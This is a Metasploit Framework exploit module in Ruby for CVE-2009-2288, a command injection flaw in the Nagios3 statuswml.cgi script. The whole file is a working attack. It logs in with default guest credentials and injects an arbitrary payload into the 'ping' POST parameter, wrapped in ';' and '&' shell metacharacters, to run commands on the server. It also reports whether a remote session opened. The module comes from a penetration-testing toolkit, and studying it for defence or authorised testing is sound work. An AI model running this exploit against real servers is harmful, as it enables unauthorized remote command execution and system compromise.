110 lines
3.0 KiB
Ruby
110 lines
3.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Nagios3 statuswml.cgi Ping Command Execution',
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'Description' => %q{
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This module abuses a metacharacter injection vulnerability in the
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Nagios3 statuswml.cgi script. This flaw is triggered when shell
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metacharacters are present in the parameters to the ping and
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traceroute commands.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2009-2288' ],
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[ 'OSVDB', '55281'],
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'BadChars' => '<>',
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'Compat' =>
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{
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'RequiredCmd' => 'generic perl ruby python bash telnet',
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 22 2009'))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
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OptString.new('USER', [true, "The username to authenticate with", "guest"]),
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OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
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], self.class)
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end
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def exploit
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uri = normalize_uri(datastore['URI'])
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print_status("Sending request to http://#{rhost}:#{rport}#{uri}")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
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'vars_post' =>
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{
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'ping' => ';' + payload.encoded + '&'
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}
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}, 10)
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if(not res)
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if session_created?
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print_status("Session created, enjoy!")
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else
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print_error("No response from the server")
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end
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return
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end
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if(res.code == 401)
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print_error("Please specify correct values for USER and PASS")
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return
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end
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if(res.code == 404)
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print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
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return
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end
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if(res.body =~ /Invalid host name/)
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print_error("This server has already been patched")
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return
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end
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if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
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print_status("Displaying command response")
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out = $1
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print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
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return
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end
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print_status("Unknown response")
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end
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end
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